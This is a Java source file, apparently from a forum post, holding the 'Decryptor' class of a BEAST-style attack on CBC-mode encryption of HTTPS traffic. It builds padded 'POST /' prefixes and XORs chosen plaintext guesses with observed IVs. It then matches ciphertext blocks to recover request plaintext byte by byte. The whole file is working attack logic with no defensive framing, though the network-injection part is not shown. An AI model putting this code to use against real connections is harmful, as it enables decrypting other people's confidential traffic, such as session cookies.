Código: Seleccionar todo

package peast;

import java.util.Arrays;

//"POST /"(6) + prefix + " HTTP/1.1\r\n"(11)
public class Decryptor {
	private String plaintext = "";
	private String prefixRight = "";
	private static final String prefixLeft = "POST /";
	private byte[] ciphertext;
	private int blockSize;
	private byte[] target;
	private byte[] targetIV;
	private byte attemptLastByte = 0x20;
	private byte[] nextAttempt;

	public Decryptor() {

	}

	public void setCiphertext(byte[] ciphertext) {
		// TODO get blocksize from packets
		blockSize = 16;
		assert (ciphertext.length % blockSize == 0);
		this.ciphertext = ciphertext;
		target = new byte[blockSize];
		targetIV = new byte[blockSize];
		setTargetBlock();
	}

	public byte[] getChosenPrefix() {
		// total length mod blockSize = blockSize - 1
		int bs = blockSize == 0 ? 16 : blockSize;
		int prefixLength = bs
				- ((prefixLeft.length() + prefixRight.length() + 1) % bs);
		final byte[] prefix = new byte[prefixLength];
		Arrays.fill(prefix, (byte) 0x41);

		return prefix;
	}

	private byte[] getNextAttemptBlock() {
		byte[] nextAttempt = new byte[blockSize];
		String tmp = prefixLeft + new String(getChosenPrefix()) + prefixRight;
		System.out.println("tmp: " + tmp);
		System.arraycopy(tmp.getBytes(), tmp.length() - (blockSize - 1),
				nextAttempt, 0, blockSize - 1);
		nextAttempt[blockSize - 1] = attemptLastByte;
		System.out
				.println("Next attempt plaintext: " + new String(nextAttempt));
		return nextAttempt;
	}

	public byte[] getChosenPlaintext(byte[] lastPacket) {

		byte[] iv = Arrays.copyOfRange(lastPacket, lastPacket.length
				- blockSize, lastPacket.length);
		byte[] cp = new byte[blockSize];

		nextAttempt = getNextAttemptBlock();
		assert (attemptLastByte < 128);

		for (int idx = 0; idx < blockSize; idx++) {
			cp[idx] = (byte) (nextAttempt[idx] ^ targetIV[idx] ^ iv[idx]);
		}

		attemptLastByte += 1;
		return cp;
	}

	public boolean matches(byte[] cipher) {
		byte[] m = new byte[blockSize];
		System.arraycopy(cipher, 0, m, 0, blockSize);
		if (Arrays.equals(m, target)) {
			String found = new String(nextAttempt);
			System.out.println("match!: " + found);
			char ch = found.charAt(found.length() - 1);
			plaintext = plaintext + ch;
			prefixRight += ch;
			attemptLastByte = 0x20;
			setTargetBlock();
			return true;
		}
		return false;
	}

	private void setTargetBlock() {
		// which ciphertext block are we trying to guess next?
		int index = (prefixLeft.length() + getChosenPrefix().length + prefixRight
				.length()) / blockSize;
		System.arraycopy(ciphertext, index * blockSize, target, 0, blockSize);
		System.arraycopy(ciphertext, (index - 1) * blockSize, targetIV, 0,
				blockSize);
	}

	public void setPrefixRight(String prefix) {
		prefixRight = prefix;
	}

	public String getPrefixRight() {
		return prefixRight;
	}

	public String getPlaintext() {
		return plaintext;
	}
}